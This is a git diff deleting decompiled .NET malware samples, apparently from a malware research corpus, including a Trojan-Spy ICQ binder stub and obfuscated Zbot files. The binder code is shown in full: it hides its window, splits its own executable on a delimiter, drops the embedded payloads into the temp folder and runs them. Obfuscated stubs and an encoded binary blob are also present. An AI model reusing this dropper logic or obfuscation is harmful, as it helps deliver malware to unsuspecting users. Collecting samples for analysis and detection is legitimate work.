a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: simple_binder_1._0_stub.hodown -// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - -namespace simple_binder_1._0_stub -{ - [DesignerGenerated] - public class hodown : Form - { - private IContainer components; - private string[] joejacksmomma; - private string ask; - private const string FileSplit = "@onetwothree@"; - - [DebuggerNonUserCode] - public hodown() - { - this.Load += new EventHandler(this.start); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.AutoSizeMode = AutoSizeMode.GrowAndShrink; - this.ClientSize = new Size(10, 10); - this.ControlBox = false; - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (hodown); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.TransparencyKey = SystemColors.Control; - this.WindowState = FormWindowState.Minimized; - this.ResumeLayout(false); - } - - private void start(object sender, EventArgs e) - { - string tempPath = Path.GetTempPath(); - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.ask = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.ask); - FileSystem.FileClose(1); - this.joejacksmomma = Strings.Split(this.ask, "@onetwothree@"); - FileSystem.FileOpen(3, tempPath + this.joejacksmomma[3], OpenMode.Binary, OpenAccess.ReadWrite); - FileSystem.FilePut(3, this.joejacksmomma[1], -1L, false); - FileSystem.FileClose(3); - FileSystem.FileOpen(5, tempPath + this.joejacksmomma[4], OpenMode.Binary, OpenAccess.ReadWrite); - FileSystem.FilePut(5, this.joejacksmomma[2], -1L, false); - FileSystem.FileClose(5); - if (Conversions.ToBoolean(this.joejacksmomma[5])) - Process.Start(tempPath + this.joejacksmomma[3]); - if (Conversions.ToBoolean(this.joejacksmomma[6])) - Process.Start(tempPath + this.joejacksmomma[4]); - this.Close(); - ProjectData.EndApp(); - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.resx b/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/Win32/I/Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99/hodown.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/1286ccb9-01dc-498b-84d2-3a004b81419d b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/1286ccb9-01dc-498b-84d2-3a004b81419d deleted file mode 100644 index ada922e40c848380958923f23235d05af1bbb6e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5888 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 (MySettings) null; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static object \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - return (object) null; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static object \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - return (object) null; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0089\u008D\u0089\u0089\u0092\u0095\u0092\u0087\u008B\u0094\u008B\u008A\u0094\u008B\u008F\u008F\u0089\u0091\u008A\u0091\u0090\u008F\u0093\u008E\u008B\u0093\u008D\u008F\u0095\u008F\u0091\u0090\u0089\u0086\u008B\u0092() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u008D\u0092\u0089\u0095\u0094\u008A\u008B\u0089\u008E\u0087\u008F\u0090\u008C\u0086\u008E\u008E\u0090\u0094\u0089\u0086\u008F\u0087\u008A\u0094\u0094\u0090\u0095\u008E\u0090\u0087\u0091\u0089\u0089\u0095\u0091\u0091() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static object \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091() => (object) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - static bool \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - return true; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static object \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091() => (object) null; - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0, - [In] object obj1) - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static void \u0086\u008A\u0093\u008D\u008B\u0090\u0094\u0092\u0089\u0094\u008A\u0091\u0088\u008F\u008F\u0090\u008B\u008F\u0088\u0089\u0095\u0087\u0091\u0092\u0095\u008E\u008B\u0089\u0095\u0091\u0092\u008A\u008E\u0094\u008D\u0091( - [In] object obj0) - { - } - } -} diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/R_K/Resources.resx b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/R_K/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/R_K/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.csproj b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.csproj deleted file mode 100644 index c1ea6504..00000000 --- a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.csproj +++ /dev/null @@ -1,66 +0,0 @@ - - - - - Debug - AnyCPU - {C9DC04F6-1014-499B-B6C9-630C8DAB030A} - WinExe - RK - 1.2.3.4 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.sln b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.sln deleted file mode 100644 index d01fbefa..00000000 --- a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/Trojan-Spy.Win32.Zbot.gqzd.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RK", "Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b.csproj", "{C9DC04F6-1014-499B-B6C9-630C8DAB030A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C9DC04F6-1014-499B-B6C9-630C8DAB030A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C9DC04F6-1014-499B-B6C9-630C8DAB030A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C9DC04F6-1014-499B-B6C9-630C8DAB030A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C9DC04F6-1014-499B-B6C9-630C8DAB030A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E.cs b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E.cs deleted file mode 100644 index 532968b0..00000000 --- a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: RK, Version=1.2.3.4, Culture=neutral, PublicKeyToken=null -// MVID: 30CD1E36-C1DC-494F-9864-11C186F7E011 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b.exe - -using \u0091\u008E\u008C\u008C\u008E\u0092\u008F\u0094\u0091\u0093\u0092\u0088\u008D\u008F\u008B\u008A\u008F\u0089\u0087\u008E\u008F\u0086\u008F\u008D\u008F\u0086\u0091\u0094\u0092\u008B\u0093\u008A\u008E\u0086\u0094\u0087; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() => \u0093\u008D\u0088\u0095\u0092\u008D\u0086\u008A\u008D\u0087\u0094\u008B\u0090\u0088\u0087\u0091\u008F\u008F\u0088\u0095\u0090\u0087\u0086\u008E\u0093\u008F\u0093\u008E\u008A\u0086\u0089\u0086\u0093\u0086\u008A\u008F.\u008B\u008F\u008A\u0091\u0092\u0089\u008A\u0086\u008D\u0088\u008A\u0095\u008E\u0089\u008A\u0093\u008F\u0089\u008B\u0094\u0090\u0088\u0087\u008F\u0089\u008E\u008F\u0093\u0089\u0086\u0093\u008B\u008E\u008B\u0091\u0095(); -} diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E{47562485-194B-4BC9-B0DC-38EFC00B1.cs b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E{47562485-194B-4BC9-B0DC-38EFC00B1.cs deleted file mode 100644 index d8c95668..00000000 --- a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/_003CModule_003E{47562485-194B-4BC9-B0DC-38EFC00B1.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: {47562485-194B-4BC9-B0DC-38EFC00B17FB} -// Assembly: RK, Version=1.2.3.4, Culture=neutral, PublicKeyToken=null -// MVID: 30CD1E36-C1DC-494F-9864-11C186F7E011 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b.exe - -using \u0091\u008E\u008C\u008C\u008E\u0092\u008F\u0094\u0091\u0093\u0092\u0088\u008D\u008F\u008B\u008A\u008F\u0089\u0087\u008E\u008F\u0086\u008F\u008D\u008F\u0086\u0091\u0094\u0092\u008B\u0093\u008A\u008E\u0086\u0094\u0087; - -internal class \u003CModule\u003E\u007B47562485\u002D194B\u002D4BC9\u002DB0DC\u002D38EFC00B17FB\u007D -{ - static \u003CModule\u003E\u007B47562485\u002D194B\u002D4BC9\u002DB0DC\u002D38EFC00B17FB\u007D() => \u0093\u008D\u0088\u0095\u0092\u008D\u0086\u008A\u008D\u0087\u0094\u008B\u0090\u0088\u0087\u0091\u008F\u008F\u0088\u0095\u0090\u0087\u0086\u008E\u0093\u008F\u0093\u008E\u008A\u0086\u0089\u0086\u0093\u0086\u008A\u008F.\u008B\u008F\u008A\u0091\u0092\u0089\u008A\u0086\u008D\u0088\u008A\u0095\u008E\u0089\u008A\u0093\u008F\u0089\u008B\u0094\u0090\u0088\u0087\u008F\u0089\u008E\u008F\u0093\u0089\u0086\u0093\u008B\u008E\u008B\u0091\u0095(); -} diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a386bc81-f6ca-4da3-93b0-b3ee6391dc7c b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a386bc81-f6ca-4da3-93b0-b3ee6391dc7c deleted file mode 100644 index d3f449367f0f71dccea1ff0716f516e00ae97262..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 32 ocma#}8F$UG&1`G7H^asz&qboy+65`v=ksDUS9b)LtW^F60P92!H2?qr diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a6538a39-a489-4fc0-b71d-56342f265087 b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a6538a39-a489-4fc0-b71d-56342f265087 deleted file mode 100644 index 86eaaf87..00000000 --- 